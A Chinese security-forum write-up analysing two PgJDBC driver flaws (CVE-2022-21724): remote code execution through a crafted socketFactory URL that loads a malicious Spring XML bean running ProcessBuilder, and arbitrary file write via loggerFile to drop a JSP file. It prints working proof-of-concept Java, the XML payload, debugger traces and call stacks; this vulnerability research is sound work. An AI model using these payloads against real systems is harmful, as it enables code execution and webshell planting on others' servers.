上周在github逛漏洞情报的时候,收刮到PostgreSQL数据库JDBC连接驱动存在一句话就可以利用的poc,立马尝试自主分析参考:https//github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
0x00 前言
在我不清楚这个漏洞的触发原因时,还傻乎乎的先搭建了个PostgreSQL数据库。。。
0x01 RCE 漏洞描述
PostgreSQL JDBC Driver是一个用 Pure Java(Type 4)编写的开源 JDBC 驱动程序,用于 PostgreSQL 本地网络协议中进行通信。
PostgreSQL JDBC Driver(简称 PgJDBC)存在安全漏洞,该漏洞源于pgjdbc连接属性提供的类名实例化插件实例,驱动程序在实例化类之前并不验证类是否实现了预期的接口从而导致远程代码。
影响版本
根据NVD报道:
• < 42.2.25
• >= 42.3.0,< 42.3.2
漏洞分析
首先我们在本地构造一个触发该漏洞的环境,先在pom.xml
引入存在漏洞的PostgreSQL
依赖
<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.0</version>
<dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
根据前面提到的参考链接,我们构造以下漏洞验证代码
import java.sql.DriverManager;
public class cve_2022_21724 {
public static void main(String[]args)throws Exception{
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1/poc.xml";
String dbUrl = "jdbc:postgresql:///?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
System.out.println(dbUrl);
DriverManager.getConnection(dbUrl);
}
}
在恶意poc.xml文件下填入以下内容
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="test" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{test.start()}"/>
</bean>
</beans>
在此处做断点,先Force Set into
强制跟进到java.sql.DriverManager
包中
识别判断出将利用org.postgresql.Driver
的jdbc驱动去连接数据库
以下代码处将取出dbUrl
中的值重新赋值,并调用makeConnection
开始尝试连接数据库
Properties props = new Properties(defaults);
if (info != null) {
Set<String> e = info.stringPropertyNames();
for (String propName : e) {
String propValue = info.getProperty(propName);
if (propValue == null) {
throw new PSQLException(
GT.tr("Properties for the driver contains a non-string value for the key ")
+ propName,
PSQLState.UNEXPECTED_ERROR);
}
props.setProperty(propName, propValue);
}
}
// parse URL and add more properties
if ((props = parseURL(url, props)) == null) {
return null;
}
try {
// Setup java.util.logging.Logger using connection properties.
setupLoggerFromProperties(props);
LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);
// Enforce login timeout, if specified, by running the connection
// attempt in a separate thread. If we hit the timeout without the
// connection completing, we abandon the connection attempt in
// the calling thread, but the separate thread will keep trying.
// Eventually, the separate thread will either fail or complete
// the connection; at that point we clean up the connection if
// we managed to establish one after all. See ConnectThread for
// more details.
long timeout = timeout(props);
if (timeout <= 0) {
return makeConnection(url, props);
}
跟进到org.postgresql.jdbc#PgConnection
方法中,可以看到将调用org.postgresql.core.ConnectionFactory#openConnection
方法,将连接数据库所需要的参数传入
持续跟进,还是一样将所需参数带入到org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
方法中。我们其实也是只需要跟进info
就好
再跟进到org.postgresql.core.SocketFactoryFactory#getSocketFactory
方法中,可以看到先是取出我们的socketFactory
和socketFactoryArg
参值,一同带入类似将socketFactory
涉及到的类进行实例化的节奏
持续跟进可以看到它先是反射获取我们的指定类,并获取org.springframework.context.support.ClassPathXmlApplicationContext
的构造方法,与传入的socketFactory
相关参值一同实例化之后即解析远程访问的poc.xml
这里我们跟进org.springframework.context.support.ClassPathXmlApplicationContext
的构造方法,在这里会调用其父类AbstractXmlApplicationContext#refresh
方法以给定的恶意XML文件中加载定义
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent)
throws BeansException {
super(parent);
setConfigLocations(configLocations);
if (refresh) {
refresh();
}
}
我们通过AbstractXmlApplicationContext#refresh
方法,持续跟进方法内调用的finishBeanFactoryInitialization(beanFactory)-→org.springframework.beans.factort.support
类相关方法操作,可以看到在调用refresh
方法开始,已经是对我们传入的poc.xml
文件进行加载了
主要调用栈如下:
newInstance:408, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:11, cve_2022_21724 (vultest)
思路总结
造成代码执行原理较为简单,通过存在漏洞的postgresql
数据库JDBC
驱动,构造socketFactory
相关参数利用支持解析并加载xml的类进行实例化之后去解析咱们恶意的poc.xml
,以实现RCE
测试远程利用
构建httpserver服务端以接受poc传参,效果如下图
0x02 任意文件写入
影响版本
根据NVD报道:
- 42.3.x < 42.3.3
- 42.1.x
漏洞分析
pom.xml可直接利用上面RCE的依赖
poc验证代码如下:
import java.sql.DriverManager;
public class cve_2022_21724_filewrite {
public static void main(String[]args)throws Exception{
String loggerLevel="DEBUG";
String loggerFile="../hack.jsp";
String shellContent="<%25test;%25>";
String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
System.out.println(dbUrl);
DriverManager.getConnection(dbUrl);
}
}
断点分析还是先来到org.postgresql#connect
方法中的Connection con = aDriver.driver.connect(url, info);
即org.postgresql.Driver#connect
开始,将提取出传参内容带入到setupLoggerFromProperties
方法中
持续跟进该方法,提取判断出loggerLevel
为DEBUG
,loggerFile
为我们指定的文件名,以创建一个临时文件,准备将日志信息写入到该文件
再完成以上日志操作初始化后,跳出setupLoggerFromProperties
方法,会看到LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);
这里直接调用java.util.logging#Logger.log
方法将URL写入了日志,由于我们写入的是jsp文件,即需要配合<%即可看作是正常写入了jsp代码进该文件。加上前面在日志文件初始化的过程中,因为URL是可控且不受过滤干扰,所以总体下来我们可以实现任意文件写入。
主要调用栈如下:
log:824, Logger (java.util.logging)
connect:253, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:13, cve_2022_21724_filewrite (vultest)
思路总结
在利用postgresql的jdbc连接提供的数据源时,会进行日志初始化等操作,我们只需要指定loggerLevel
和loggerFile
即可将jdbc://
的URL内容写入指定文件
本地利用效果图
END~
- 本文作者: w1nk1
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1339
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!